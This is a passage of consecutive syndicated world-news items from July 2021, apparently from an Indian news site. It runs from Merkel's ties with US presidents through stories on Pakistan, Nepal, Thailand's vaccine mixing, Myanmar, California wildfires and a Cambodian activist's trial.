Still, the chancellor  who shared Obama's businesslike manner but, unlike the new president, never had much time for soaring political rhetoric  forged a strong working relationship with him. It appeared to gain increasing personal warmth as time went on.

Obama hosted Merkel at the White House for a formal state dinner, where he awarded her the Presidential Medal of Freedom, the highest U.S. honor bestowed upon civilians.

A tough test for the relationship followed later that year with reports that the U.S. National Security Agency had listened in on German government phones, including Merkel's.

Merkel declared that "spying among friends" was unacceptable. But she didn't let it cast a lasting shadow over trans-Atlantic ties.

Merkel's congratulations to Trump in 2016 set the tone for much that followed. In a pointed message, she offered "close cooperation" on the basis of shared trans-Atlantic values that she said include respect for human dignity regardless of people's origin, gender or religion.

The former physicist and the former reality TV star were never an obvious personal match though they generally kept up appearances when in public together.

Merkel's first visit to the Trump White House in March 2017 produced a famously awkward moment in the Oval Office.

Photographers shouted "handshake!" and Merkel quietly asked Trump "do you want to have a handshake?" There was no response from the president, who looked ahead with his hands clasped.

Trump never made a bilateral visit to Germany in four years in office, though he did come for the Merkel-hosted Group of 20 summit in Hamburg in 2017.

Merkel's Germany was a favorite target of Trump's ire, with the president calling the NATO ally "delinquent" for failing to spend enough on defense and announcing that he was going to pull out about 9,500 of the roughly 34,500 U.S. troops stationed in Germany.

Merkel, for her part, suggested after a 2017 Group of Seven summit at which European countries couldn't agree on climate change with Trump that Europe could no longer entirely rely on the U.S.

Merkel greeted Biden's election with barely disguised relief, saying he brought decades of experience to the job, that "he knows Germany and Europe well" and citing good memories of previous meetings.

In February, she welcomed his first address to a global audience effusively. "Things are looking a great deal better for multilateralism this year than two years ago, and that has a lot to with Joe Biden having become the president of the United States," Merkel said.

But there hasn't been much opportunity yet for in-person interaction. Both attended last month's G-7 summit in England and NATO summit in Brussels, but Thursday's get-together is the first significant bilateral meeting.

(Disclaimer: This story is auto-generated from a syndicated feed; only the image & headline may have been reworked by www.republicworld.com)
A Spanish social media influencer named Naim Darrechi is in troubled waters after confiding that he avoids using a condom by telling his sexual partners he is sterile. The man caused an outcry after he bragged in a video while the viewers could watch. Spain's Equality Minister, Irene Montero, has called for an investigation after the 19-year-old with 26 million followers on TikTok boasted about tricking women into having unprotected sexual intercourse.

In the video, Naim Darrechi told YouTuber star Mostopapi, "I find it (intercourse) difficult with a condom, so I never use one. He added because none of his partners had got pregnant due to unprotected sex with him, "I started thinking that I had a problem, so I tell them, relax, I'm sterile. It's true." The interviewer can be seen giggling when he said this.

Meanwhile, Spain's Equality Minister Irene Montero firmly established that Darrechi might have contravened a law of the land because non-consensual sex is considered rape.

"Bragging to 26 million followers of something like this reflects the urgency of putting consent at the centre. We will inform Prosecutor's office," she established on Twitter.

Taking to Twitter, the Spanish minister wrote, "Taking off the condom or ejaculating inside without consent is today sexual abuse and the Law #SoloSiesSi will recognize it as aggression."

Quitarse el preservativo o eyacular dentro sin consentimiento es hoy abuso sexual y la Ley #SoloSiesSi lo reconocera como agresion



Presumir ante 26mill de seguidores de algo asi refleja la urgencia de poner el consentimiento en el centro. Lo pondremos en conocimiento de Fiscalia pic.twitter.com/SSMM7FOzvb  Irene Montero (@IreneMontero) July 12, 2021

Spain's TikTok star Naim Darrechi apologises

Later, on Instagram, Darrechi shared he wanted to apologise as he "sometimes" is unaware of the responsibility he has as an influencer with over 25 million subscribers.

He said, "I want to apologise, really. Sometimes, I do not realise the responsibility that is mine. I made a comment that really is out of place and that is not right. Sometimes I say things and sometimes I exaggerate, but here it's just crazy what I said, I wish it had been cut at the edit and no one would ever have heard it."

While many anguished women and girls have condemned Naim Darrechi on Twitter as well as Spanish mainstream media have denounced his statement, Irene Montero had said that possible victims of sexual deception must be identified as Darrechi could face between one and 12 years of imprisonment if he was convicted of sexual misconduct under a new law passed earlier this month. The revised non-consensual sex amounts to rape and the new bill defined unprotected sex without consent as an assault, she established.

What are Spain's new rape laws?

In a massive revamp to protect women, Spains cabinet on July 6, approved a draft bill that requires consent for sex acts. Named Only Yes Is Yes', the bill was proposed following an incident where an 18-year-old woman was raped but in the absence of violence, the act was labelled only as sexual abuse and not  sexual assault. Additionally, the victim's inability to resist was also termed as a form of consent by the country's ambiguous criminal law.

The proposed law "makes clear that silence or passivity do not mean consent, or that not showing opposition can not be an excuse to act against the will of the other person," government spokeswoman Maria Jesus Montero told a news conference after the Cabinet meeting. If the bill gets passed by the countrys 616 member parliament, it would alter the definition of rape to be forced sex without consent', increasing the strictness of the countrys laws against rape and sexual assault. It would also bring in violence and intimidation during the sexual assault. Additionally, it would also bring tighter laws and prison sentences for work-related sexual offences. Additionally, catcalling will be labelled as a criminal offence.

The newly-formulated laws will come into effect later this year.
Riot police fired tear gas and scuffled with protesters on Tuesday.

The clashes started when family members of victims of the Beirut Port blast protested outside the home of Lebanon's caretaker interior minister.

The demonstrators demanded an end to what they call the obstruction of an investigation into one of the largest non-nuclear explosions in history.

Hundreds of protesters marched outside the home of Mohamed Fehmi in a symbolic funeral procession with empty coffins to symbolize the victims.

They then tossed the coffins into the yard of the building and pushed their way through security guards to hold a symbolic burial ceremony.

The gathering turned rowdy when dozens of protesters stormed Fehmi's building, breaking down two metal gates, and scuffled with riot police who beat them with clubs.

Police fired tear gas to push the protesters back.

The push set off pitched street battles with stone-throwing protesters.

Many were injured and treated on the scene.

The Aug. 4 explosion at the port devastated the capital, killed more than 200 people and injured thousands.

Hundreds of tons of ammonium nitrate, a highly explosive material used in fertilizers that had been improperly stored in the port for years ignited, causing the explosion.

Many blame officials for keeping the explosive material stored at the port.

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Over the allegations of attacking the widow of former Balochistan governor Nawab Akhbar Bugti, the bar council of Pakistan's Punjab has suspended the licence of Prime Minister Imran Khan's nephew, Hassaan Khan Niazi. Pakistan daily, Dawn reported that Hassaan Khan Niazi has been punished by Punjab Bar Council (PbBC) vice-chairman Amjad Iqbal Khan on Tuesday along with 4 other people while hearing a complaint filed by Shahzadi Nargis.

As per Dawn, the copy of the order stated that in view of the "serious allegation" against Niazi, his license to practice as an advocate was being suspended and the matter was being referred to the bar council's executive committee for further proceedings on July 17.

Imran Khan's nephew's license to practice law suspended

While reacting to the suspension of his practice license, Imran Khan's nephew claimed that the Punjab Bar Council suspended his license "without listening" to him in an ex-parte hearing. Taking to his Twitter handle, Niazi wrote, "Immense pressure being built on me to back off from blasphemy case against Shahzawar Bugti [...] 5 days ago they even registered a false FIR against me. Inshallah I WILL NEVER BACK OFF."

Immense pressure being built on me to back off from blasphemy case against shahzawar bugti case. Punjab Bar council has suspended by license without listening to me in an ex-parte hearing. 5 days ago they even registered a false FIR against me. Inshallah I WILL NEVER BACK OFF  Hassaan Niazi (@HniaziISF) July 13, 2021

Alleging that the vice-chairman of Punjab Bar Council is best friends with the lawyer, who is representing the Bugtis in the court, Niazi said, "Inshallah Allah will help." Remarking that not even a single person investigated that why his licence was suspended, Hassaan Niazi said that no one even bothered looking at what the complaint is. "I will tell you all why it was cancelled," he added.

Earlier, a case had been registered against Niazi and 4 other unidentified people under various charges including an attempt to murder on Nargis' complaint. In the FIR, she had alleged that Niazi and his accomplices first abused her in the presence of her lawyer in the court of additional district and sessions judge Syed Ali Abbas and then also tried to strangulate her with an intention to take her life.

Nargis has further alleged that she had appeared in the court to seek bail in a 'fake case' lodged against her with the crime circle of Federal Investigation Agency, Lahore. As she appeared before the additional district and sessions judge with her lawyer to seek bail, Niazi first exchanged harsh words with her and then hurled abuses, she said. The complainant further stated in the FIR that when her lawyer intervened, the attackers including Niazi and his accomplices attacked and tortured them on the court premises. Terming the allegation baseless, Niazi had said the CCTV footage could be checked.

(Image: AP, Instagram-@HKNiazi)
Nine Chinese engineers and three died on Wednesday when a bus travelling through northwest Pakistan's mountainous region was "attacked". According to reports, the bus blast happened near the Dasu hydropower plant in the Upper Kohistan district of Khyber Pakhtunkhwa. Many have been reported injured.

Chinese engineers killed in Pakistan

The incident happened near the site where Chinese engineers and construction workers are helping Pakistan build a dam. The dam being built is a part of the $60 billion China-Pakistan Economic Corridor (CPEC). Following the blast, the bus fell into a deep Ravine causing further casualties. The injured have been admitted to a nearby hospital.

Responding to the initial report of the event, Adviser to the Prime Minister on Parliamentary Affairs Babar Awan called it a "cowardly attack". Speaking in the National Assembly, Awan said that it would "not divert attention from the special initiatives between Pakistan and its neighbours." Condemning the attack, he further added that he will ask Interior Minister Sheikh Rashid Ahmed to give a briefing on the country's security situation. The Chinese foreign ministry spokesman condemned the incident as a bombing.

Pakistan bus blast: Beijing demands investigation

China has now asked Pakistan to further investigate the incident. Condemning the attack, China's foreign ministry spokesman Zhao Lijian said that he is in shock. Lijian urged Pakistan to investigate further and severely punish the perpetrators and also asked the government to protect the safety of Chinese nationals, organisations and projects in the country.

In a statement released soon after the Pakistan bus blast, the Chinese Embassy in Pakistan said that it strongly condemned the incident. While expressing condolences with the victims, the embassy also stated that it will do its best along with Pakistan to deal with the incident.

Through the official statement, the Chinese Embassy in Pakistan reminded Chinese citizens, enterprises and projects in Pakistan to pay close attention to the local security situation. It also urged the Chinese to strengthen the safety of project personnel and take precautions. It also mentioned that the Pakistan authorities are now investigating the issue. However, the Pakistan Foreign Ministry later denied all mentions of the event being an attack. Foreign Minister Shah Mahmood Qureshi while offering condolences to his Chinese counterpart Wang Yi, said that the tragic incident was caused after the bus plunged into a ravine following a "mechanical failure."

IMAGE: AP/REPRESENTATIVE IMAGE
In a major embarrassment for Pakistan on Tuesday, parliamentarian Mohsin Dawar nailed the role of his nation in exporting Taliban terrorists to Afghanistan. Elected to the Pakistan National Assembly in 2018 as a member of the Pashtun Tahafuz Movement, he has consistently spoken against the torture and killings of Pashtuns who are treated by the authorities as "third-class citizens". Speaking on the floor of the Pakistan National Assembly on Tuesday, he backed Afghanistan First Vice President Amrullah Saleh's claim that the Taliban is guided by his country's special forces from Peshawar and Quetta.

To buttress his point, he cited Pakistan President Arif Alvi's tweet expressing sympathy with the Taliban. The first part of Alvi's tweet dated July 11 read, "Two issues that threaten Pakistan's emerging economy. One is unrest in Afghanistan on which we hope: Taliban and their countrymen find peace and healing". According to him, this was akin to invading a nation. Moreover, he revealed that the bodies of dead Taliban terrorists were being brought to Pakistan for burial. He asserted, "Our (Pakistan's) only favourites in Afghanistan are the Taliban".

Pakistani parliamentarian Mohsin Dawar remarked, "This is just like an invasion. It is a step towards attacking your neighbouring country. You are supporting the terrorists who are fighting their government there. In the last few days, a provincial Minister stated in the Assembly of Khyber Pakhtunkhwa that the Taliban are fighting our war."

"There was a video doing the rounds day before yesterday regarding the dead bodies of Taliban terrorists being brought here for burial. In Peshawar city, a Taliban terrorist's body is greeted by a procession and slogans were shouted. And then we lament that the world is hurling accusations at us," he added.

Taliban are exported to Afghanistan from here while the FM and President justify @AmrullahSaleh2's claims about Pakistan's role in Afghanistan with their statements. Dead bodies of Taliban fighters are brought back to Pakistan for burial. Taliban continue being supported openly. pic.twitter.com/IiW9TttVI2  Mohsin Dawar (@mjdawar) July 12, 2021

Concerns over Taliban takeover

As the US military mission in Afghanistan comes to an end on August 31, concerns have grown over the Taliban pushed back against the elected government in the country. While the US-led coalition forces had ousted the terrorist organization from power in 2001 following the 9/11 terror attack, it has been gradually regaining territory over the last few years. As per reports, the Taliban now controls 204 of 407 districts as against the Afghan government whose writ runs large in 74 districts.

While the Taliban had committed to cut ties with foreign terror outfits threatening the security of the US and its allies as per the agreement signed on February 29, 2020, it is believed that Pakistan-based outfits such as Lashkar-e-Taiba and Jaish-e-Mohammed are active in Afghanistan. Moreover, Afghan officials have regularly accused Pakistan of providing a safe haven to the Taliban top brass. Recently, Pakistan Interior Minister Sheikh Rashid Ahmed admitted that the kin of many Taliban terrorists lives in his country.
On Tuesday, July 13, Finance Minister Nirmala Sitharaman launched BHIM-UPI services in Bhutan via a virtual press conference. With this launch, Bhutan becomes the first country to adopt Indias Unified Payment Interface (UPI) and the second country after Singapore to have BHIM-UPI acceptance at merchant locations.

Bhutan is the first country to adopt UPI standards for its QR deployment, and the first country in our immediate neighbourhood to accept mobile based payments through the BHIM App. (9/9)  Ministry of Finance (@FinMinIndia) July 13, 2021

Addressing the virtual meet, Nirmala Sitharaman said that the launched service will help Indian tourists visiting the land of happiness.

She further informed, "BHIM UPI is one of the achievements of India in terms of fintech in which India invested a lot. We have also encouraged our start-ups to come up with solutions. Therefore, BHIM UPI stands out as one of the very good successful experiments that we have undertaken".

Lyonpo Namgay Tshering, Finance Minister of Bhutan, was present at the virtual launch ceremony where Nirmal Sitaraman initiated a live transaction using BHIM-UPI and purchased a product from a Bhutanese One Gewog One Product (OGOP) shop, to demonstrate its effectiveness and speed.

NPCI collaborates with the Royal Monetary Authority of Bhutan

After UPI's success in India, the National Payment Corporation of India (NPCI) in collaboration with the Royal Monetary Authority of Bhutan has launched BHIM-UPI in Bhutan.

BHIM UPI goes to Bhutan. The digital payment app joins hands with the Royal Monetary Authority (RMA) of Bhutan. This partnership enables BHIM users to make BHIM UPI QR-based payments in Bhutan. Click here to know more: https://t.co/TdaaCvbZRu pic.twitter.com/KWBqNpJ6G5  NPCI (@NPCI_NPCI) July 13, 2021

In a press release, the NPCI stated that all merchants acquired by the Royal Monetary Authority of Bhutan will accept UPI QR transactions. And more than 2 lakh Indian tourists who travel to Bhutan every year and the Bhutanese citizens will be benefitted from this launch.

Ritesh Shukla, CEO of NPCI International Payments Limited (NIPL), the international arm of NPCI, which inked the deal with Bhutan's central banking authority, said, Our vision has always been focused on taking our robust and popular payments solutions to global markets".

COVID-19 pandemic and BHIM services

Indian Finance Minister informed that during the COVID-19 pandemic last year, UPI was one of the brightest spots for India with nearly 22 billion transactions worth Rs 41 lakh crore being processed by the platform.

In the NPCI press release, it stated that in 2020, UPI enabled commerce worth $457 billion, equivalent to nearly 15 percent of India's GDP. UPI payment through GooglePay and PhonePe has overtaken debit card payments and transactions.

(Image credit: PTI/WWW BHIMUPI ORG/MOF GOV BT)
Amidst the constantly fluctuating balance of power in East Asia, Japan on Tuesday said that the US-China tensions over Taiwan are an increasingly urgent issue that jeopardizes regional stability. In its annual white paper, the Japanese Ministry of Defence acknowledged the tussle over Taiwan in more direct terms and said that stabilizing the situation in and around the pacific island was paramount for Japans security.

As Beijing continues to make military and diplomatic advances in the region, Japanese lawmakers have taken to public platforms to express the threat. Just last week, Deputy Prime minister Taro Aso called for Washington to join Japan in safeguarding Taiwanese sovereignty.

Meanwhile, the documents highlighted that the overall military balance between Beijing and Taipei was tilting towards the former with the gap widening every year. A shift in the regional status quo would directly influence Japans security and stability of the international community. "It is necessary that we pay close attention to the situation with a sense of crisis, more than ever before,'' it added.

China claims sovereign rights over the pacific island located roughly 100 miles from its coast and has been using carrots and sticks to make its democratically elected government surrender. Speaking at the celebrations marking the 100th anniversary of the Chinese Communist Party (CCP) on July 1, President Xi Jinping vowed for complete reunification of the motherland, fuelling fears of a possible annexation of the pacific island by Beijing.

Taipei, on the other hand, has reiterated that it was an independent entity. The US, meanwhile, has reacted to Beijing's pressure campaign with testy words and hardline policies -- prompting its ally Japan, which has key trade relationships with both world powers, to eye the situation with caution.

Unreasonable accusations

The white paper also elicited a strong response from China which lambasted Japan for making irresponsible remarks. Addressing press reporters, Foreign Ministry spokesperson Zhao Lijian said, Japan has for some time... leveled unreasonable accusations against China's normal national defense construction and military activities, made irresponsible remarks about China's legitimate maritime activities, and exaggerated the so-called China threat," foreign ministry spokesman Zhao Lijian said.

Image: AP
On Tuesday evening, Nepali Congress president Sher Bahadur Deuba was sworn in as the Nepal PM a day after the country's Supreme Court ruled in his favour. In a major blow to KP Sharma Oli on Monday, the Constitution bench of the Nepal SC reinstated the House of Representatives for the second time in nearly 5 months and ordered that Deuba must be appointed PM. The opposition alliance had filed a plea in this regard comprising the signature of 146 parliamentarians.

However, the new Prime Minister's oath was not without hiccups as he delayed the swearing-in ceremony over the content of the letter of appointment. This is because the initial letter did not have a reference to the article of the Constitution under which he was being appointed. Subsequently, the final letter of appointment stated that Sher Bahadur Deuba was being appointed the Nepal PM under Article 76(5) which makes it mandatory for him to seek a vote of confidence in the House of Representatives within 30 days.

Meanwhile, 4 other Ministers- Gyanendra Bahadur Karki and Balkrishna Khand of the Nepali Congress, and Janardan Sharma and Pampha Bhusal of the Communist Party of Nepal (Maoist Centre) were also inducted into the government. Earlier, Oli dubbed the Nepal SC order "improper" citing that a PM is not appointed by the court anywhere in the world. At the same time, he accepted the verdict and put in his papers.

Sher Bahadur Deuba takes oath as Nepals new Prime Minister  Press Trust of India (@PTI_News) July 13, 2021

Who is Sher Bahadur Deuba?

Born on June 13, 1946, Sher Bahadur Deuba became active in politics since his student days. For instance, he served as the president of the Nepal Student Union, the student wing of the Nepali Congress. He also languished in jail for 9 years over his role in the protests against King Mahendra's autocratic role. Deuba was elected to the House of Representatives for the first time in 1991 from the Dadeldhura1 constituency. He served as the Minister of Home Affairs in the government led by Girija Prasad Koirala.

Most importantly, the Nepali Congress supremo has been appointed Prime Minister 4 times in the past- September 15, 1995- March 12, 1997, July 26, 2001- October 4, 2002, June 4, 2004- February 1, 2005, and June 7, 2017- February 15, 2018. However, a full 5-year term continues to elude Deuba as he will continue as the PM only till parliamentary elections are held by 2022. In November 2016, he was conferred an honorary doctorate degree by JNU, the first Nepali national to be bestowed with such an honour. While Oli was perceived to have cemented close ties with China, speculation is rife that Deuba's regime might encourage a more robust bilateral partnership with India.
Nepals Opposition Congress leader Sher Bahadur Deuba on July 13 was sworn in as the Prime Minister for the fifth time months after the Southeast Asian countrys top court ousted the former PM KP Sharma Oli. Newly sworn-in Deuba also formed a small 5 member cabinet, according to ANI. The Nepal parliament was dissolved in May by ex-PM Oli after he was removed as Chairman of ruling NCP over allegations of corruption, mishandling of COVID-19, and tensions with the party of former Maoist rebels Pushpa Kamal Dahal, with whom he had merged to form a unified Communist Party.

Following months of political turmoil, Deuba was sworn into office as Nepals newly elected PM on Tuesday, just a day after the Supreme Court reinstated the parliament. The former won the support of 149 of the total 275-seat in the lower house. I, in the name of God, the country and people, pledge that I will be committed and honest to the nation and its people to fulfill my duty as prime minister, the 74-year-old leader said in the oath-taking ceremony as he assumed office.

A vote of confidence will be held in the lower house of the parliament in approximately 7 days as announced by Nepals Supreme court that gave orders to the Nepali President Bidhya Devi Bhandari to appoint Deuba as Olis successor.

Nepali Congress President Sher Bahadur Deuba has been appointed as the Prime Minister by President Bidhya Devi Bhandari as per the Article 76 (5) of the Constitution: President Office



The swearing-in ceremony is scheduled for 6 pm.



(File pic) pic.twitter.com/LdrLrdlS1m  ANI (@ANI) July 13, 2021

Needs majority votes to survive as PM

Even though the Supreme Court order has paved the way for Deuba to become the new prime minister, he will still have to secure majority votes to survive as the PM for the remaining term of the parliament. It is worth noting that Deuba is short of a majority as the rival fiction of CPN-UML has backed off. The rival faction of ruling CPN-UML under the leadership of Madhav Kumar Nepal has separated itself from the alliance formed to fight against caretaker PM Oli.

The two factions in the UML - one led by Oli and the other by Madhav Kumar reached a 10-point agreement to bury their hatchet. After Monday's verdict, the Madhav Kumar faction then announced to unify with the party ending the earlier formed alliance. Now, with the breaking of the rival faction of CPN-UML, the largest seat holder in parliament, the fate of the vote of confidence for to-be-appointed PM Sher Bahadur Deuba remains uncertain.
An underwater 'superhighway' stretches around 700 km deep in the Pacific Ocean. It is located between the marine reserves of Ecuador's Galapagos Islands and Cocos Island off the coast of Costa Rica, according to scientists. The 'superhighway' is important for sea life, such as sea turtles, whale sharks and hammerhead sharks, as per a CNN report.

Scientists try to rescue 'superhighway' of sharks

The route can be dangerous as the swim way is open to fishing vessels, unlike the marine reserves at each end. According to the data, the population of the migratory species is declining. Most of these species are also endangered. Alex Hearn, a biology professor and founding member of MigraMar, which is a coalition of scientists and environmental groups told CNN that protecting biodiversity hotspots around the islands is not enough.

Hearns team is campaigning for the entire swim way to be protected. The swimwear is an area, which stretches over 2,40,000 square kilometres of ocean. The team wants to get fishing restrictions extended beyond the current 74-kilometres radius around the Galapagos islands and a 22-km radius around Cocos Island. This will help in creating a narrow-protected channel between the two that follows a chain of seamounts, underwater mountains that rise from the seafloor. The scientists of MigraMar have been trying to prove the importance of the swim way by documenting the species that use it.

Scientists have been able to monitor the exact pathways of marine species along the swim way. All of these species are suffering from population decline and are listed as vulnerable, endangered or critically endangered. The most common threat to these migratory species is fishing, reported by CNN. They can be accidentally caught by fishing vessels, entangle themselves in nets, or in the case of sharks, are illegally hunted for their meat and fins. MigraMar have produced a document outlining the need to create the swim way, calling for it to include "no take zones" that prohibit human disturbance such as fishing.

IMAGE: Unsplash
On July 13, Thailand defended its decision to mix two different COVID-19 vaccines to stem the drastic surge in coronavirus infections after the World Health Organization (WHO) top scientist warned against the dangerous trend of vaccine cocktails still not backed by science. Thailand is presently battling to contain its latest outbreak fuelled with the highly contagious Delta variant with both cases and deaths witnessing an uptick and overwhelming the countrys healthcare system.

Thai Health Minister Anutin Charnvirakul told reporters on July 12 that countrys immunisation strategy against dealing with the COVID-19 pandemic includes administering a shot of AstraZenecas viral vector vaccine followed by Sinovacs coronavirus vaccine. He said that if the plan is implemented, it would mark the first publicly announced mix and match of the Chinese vaccine and a Western-developed shot. The lawmaker also revealed that the notable move is to increase the protection against the highly transmissible variants.

Referring to the coronavirus variant first detected in Indonesia, Charnvirakul told the reporters that the vaccine cocktail will be administrated on Thai people to improve protection against the Delta variant and build a high level of immunity against the disease. His remarks came as Thailand and neighbouring countries like Indonesia report breakthrough infections among healthcare professionals and frontline workers who received Sinovacs shot.

Reportedly, most Thai medical professionals were given the Chinese vaccine after February with AstraZeneca jabs arriving in June. However, WHOs chief scientist Soumya Swaminathan called the Thai strategy a dangerous trend. As per reports, she said, We are in a bit of a data-free, evidence-free zone as far as 'mix-and-match. Thailand's chief virologist Yong Poovorawan reportedly defended the decision on Tuesday saying, "We can't wait 12 weeks (for a booster effect) in this outbreak where the disease is spreading fast...But in the future, if there are better, improved vaccines... we will find a better way to manage the situation."

Thailand sets curfew for the capital Bangkok

Meanwhile, officials on July 9 announced a seven-hour long curfew along with other restrictions for Thai capital Bangkok and nine other provinces to stem the rapid increase of COVID-19 cases and deaths. As per The Associated Press, people living in Bangkok and five nearby provinces in the far south are required to stay indoors from 9 PM to 4 AM, not hold any gatherings of over five persons and avoid non-essential travels.

Thai Deputy Health Minister Satit Pitutacha also announced on Friday that the said restrictions would come into effect on July 12 and will be reviewed after two weeks. Additionally, the shopping centres in the greater Bangkok area will be shut down except only for businesses such as supermarkets, banks, pharmacies, takeout food and other essential services. The restrictions were announced due to the increasing number of coronavirus infections and deaths.

IMAGE: AP
The British Secretary of Defence said Tuesday that the counter-terrorism mission in Afghanistan had been a success, but that the training of wider military in the country may not have the "same lasting effect".

Ben Wallace was in Washington DC, where he held talks with US Defense Secretary Lloyd Austin and his team.

The two defense chiefs met as the US commander in Afghanistan, Gen. Scott Miller relinquished his position at a ceremony in the capital of Kabul on Monday, taking the United States a step closer to ending its 20-year war.

Speaking on the lessons learned in Iraq Wallace said that the UK and US needed a longer term vision if they were to be effective in their international campaigns.

"China has a 100 year plan. Right? It's really it's really stark, the difference between a 100 year plan and what's our plan? Four years, three years?" Wallace told journalists.

"I think we all need to recognise that there's no short term fix and that it's a long endeavour to stand up for your values you believe in," he added.

(Disclaimer: This story is auto-generated from a syndicated feed; only the image & headline may have been reworked by www.republicworld.com)
The United States on July 13 called on South Asian nations to take steps towards ending violence and restoring democracy in Myanmar. During a video conference with the Association of Southeast Nations (ASEAN) foreign ministers on Wednesday, US Secretary of State Antony Blinken called on the member states to take immediate action on a five-point consensus that was agreed upon back in April. US State Department spokesperson Ned Price said in a statement that the consensus includes appointing a special envoy to Myanmar.

Blinkens call for ASEAN nations came as the Southeast nations have been leading the significant diplomatic effort on member country Myanmar since the February 1 coup toppled the democratically elected government. Myanmar military took over control that engulfed the country into chaos with scores of pro-democracy protesters flooding the streets and being met with firing from security forces. Thousands of civilians have been jailed as nations across the globe impose hefty sanctions over the juntas takeover.

Price said in a statement, Expressing deep concerns about the military coup in Burma, Secretary Blinken recalled the principles of the ASEAN Charter related to the rule of law, good governance, democracy, and human rights. He called on ASEAN to take joint action to urge the end of violence, the restoration of Burmas democratic transition, and the release of all those unjustly detained.

The Secretary said that ASEANs five-point consensus is an important step forward and urged ASEAN to take immediate action to hold the Burmese regime accountable to the consensus and to appoint a special envoy, he added.

Spoke with my @ASEAN counterparts and ASEAN Secretary General Dato Lim Jock Hoi to discuss our strategic partnership and urge strong action on the military coup in Burma. The U.S. is committed to ASEAN's central role in a free and open Indo-Pacific.  Secretary Antony Blinken (@SecBlinken) July 14, 2021

Myanmars Aung San Suu Kyi to face more charges

Meanwhile, the lawyers for ousted Myanmar leader Aung San Suu Kyi said on July 12 that they have been informed by the military-installed government that at least four new charges of corruption have been filed against her. Suu Kyi has been under house arrest since the junta took control on February 1 this year. Several other members of her National League for Democracy party were arrested including Myanmar President Win Myint. Reportedly, Suu Kyis supporters and independent analysts have said that all charges against her are politically motivated to discredit her.

IMAGE: AP


An Iranian journalist and opposition activist living in the US told The Associated Press that she worked with the FBI after learning that Iran allegedly planned to kidnap her.

Masih Alinejad spoke to the AP on Tuesday night after federal prosecutors charged an Iranian intelligence officer and others with allegedly plotting to kidnap her from her home in Brooklyn.

Alinejad said the FBI at one point asked her to go live on Instagram from a safehouse to see if Iran could track her.

Alinejad is a prominent activist who has campaigned from abroad against Iran's mandatory hijab.

Iran's theocratic government in recent years has targeted her family and criminalised contact with her for Iranian citizens.

However, she says she'll keep up her activism.

She is a prominent figure on Farsi-language satellite channels abroad that critically view Iran and has worked as a contractor for US-funded Voice of America's Farsi-language network since 2015.

She became a US citizen in October 2019.

(Disclaimer: This story is auto-generated from a syndicated feed; only the image & headline may have been reworked by www.republicworld.com)
Beverly Houdyshell returned to her home this week in a small Northern California town to find nothing but ashes and debris.

The 79-year-old was among thousands of people evacuated from a wildfire burning along the Nevada border but she and other residents of Doyle, a mountain community of about 600 people, were allowed to come back since the fire has already burned through that area.

"What chance do I have to build another house, to have another home?" Houdyshell laments. "No chance at all."

Overall, about three thousand people living in rural Northern California's Lassen and Plumas counties remain evacuated as crews work to contain a remote lightning-ignited wildfire.

Firefighters are making progress on the Beckwourth Complex, a combined pair of blazes that have blackened more than 145 square miles (375 square kilometers) near the Nevada state line.

Dozens of structures burned throughout Doyle, including several houses. Houdyshell is now staying with her granddaughter who also lives in Doyle.

She took a phone call from her satellite TV company after she cancelled her service. They asked her if she could return her satellite dish equipment. "Only if you want me to send you the ash in the mail," she told them.

Rose Roberts, another 79-year-old Doyle resident, was luckier. Four other homes surrounding around her property caught fire and burned to the ground, but Roberts only lost her backyard shed.

Roberts says Doyle is a tight-knit community which will help those who lost their homes. She says the community should feel fortunate that no one was killed in the wildfire.

Firefighters have contained about a quarter of the blaze but still expect extreme fire activity throughout the week.

Wildfires that have torched homes and forced thousands to evacuate are burning across 10 parched Western states. Nearly 60 large, active wildfires are burning from Alaska to Wyoming.

The largest fire in the U.S. is the Bootleg Fire in Oregon. It remains out of control after burning an area more than twice the size of Portland and disrupting power transmission lines to California.

The fires erupted as the West was in the grip of the second bout of dangerously high temperatures in just a few weeks. Scientists say a climate change-fueled megadrought also is contributing to conditions that make fires even more dangerous.

(Disclaimer: This story is auto-generated from a syndicated feed; only the image & headline may have been reworked by www.republicworld.com)
Cambodian immigration police escort Spanish environmental activist Alejandro Gonzalez-Davidson to the Ministry of the Interior in Phnom Penh to be deported, Feb. 23, 2015.

A Spanish environmentalist who led a campaign against a controversial dam project on Tuesday accused Cambodias courts of violating national and international law because judicial authorities plan to hold a case against him in absentia while he is prevented by the government from re-entering the country to stand trial.

Alejandro Gonzalez-Davidson, the Khmer-speaking former director of the NGO Mother Nature Cambodia, was deported from the Southeast Asian nation in February 2015 following the governments refusal to renew his visa.

Opposition groups and local NGOs said Gonzalez-Davidson was expelled for to prevent him from organizing further opposition to the planned Chhay Areng hydropower dam in Koh Kong province. The U.S. $400-million China-led project backed by a ruling Cambodian Peoples Party lawmaker would have forced hundreds of ethnic minority families off of their ancestral land and destroyed the habitats of endangered animals, they said.

The project was halted in 2017 by Prime Minister Hun Sen due to strong opposition to it.

Gonzalez-Davidson has been refused re-entry to Cambodia, though on May 5 he was convicted in absentia along with three other Mother Nature activists  Long Kunthea, 22, Phuon Keorasmey, 19, and Thun Ratha, 29  and sentenced to up to 20 months in prison on incitement charges related to their activism.

In June, Gonzalez-Davidson was charged by the same court with plotting against and insulting the countrys king when authorities arrested three of his Mother Nature colleagues  Sun Ratha, Yim Leanghy, and Ly Chandaravuth  who were placed in pre-trial detention. The court has yet to set a hearing on the charge against Gonzalez-Davidson.

Deputy prosecutor Soeu Lundy of the Phnom Penh Municipal Court sent Gonzalez-Davidson a summons dated July 1, ordering the 40-year-old Spanish national to appear for a July 26 hearing to face charges of incitement to cause serious social chaos in Cambodia between 2013 and 2020.

Gonzalez-Davidson said he wants to return to Cambodia to face off with prosecutors at the hearing on the charge for which he could face imprisonment of up to two years and a fine of up to four million riels (U.S. $969).

I want to make the following public statement, with the intention of making it very clear to the PP [Phnom Penh] court that I regard their plans to go ahead with my trial this coming 26th of July, 2021 as a complete violation of my rights, the Cambodian constitution as well as national and international law, he wrote on his Facebook page on Tuesday.

Gonzalez-Davidson argued that a trial in absentia can only take place when the accused person is in hiding and cannot be found, which is not the case with him because he has made it clear that he is willing to attend the trial proceedings to defend himself against non-existing crimes.

So, if my trial goes ahead this coming 26th of July, it will highlight one more time how the very same people who are in theory in charge of upholding the law are the ones who are violating it, he said. It will also make even more clear in the face of Cambodians and the international community that charges against me and the six other environmental activists in jail are a complete fabrication and are political in nature.

Neither Y Rin, spokesman for the Phnom Penh Municipal Court, nor Chin Malin, spokesman for the Justice Ministry, could be reached Tuesday for comment.

Both Cambodian and international law recognize the rights of an accused person and the courts obligation to provide opportunities for him to defend himself in accordance with court procedures.

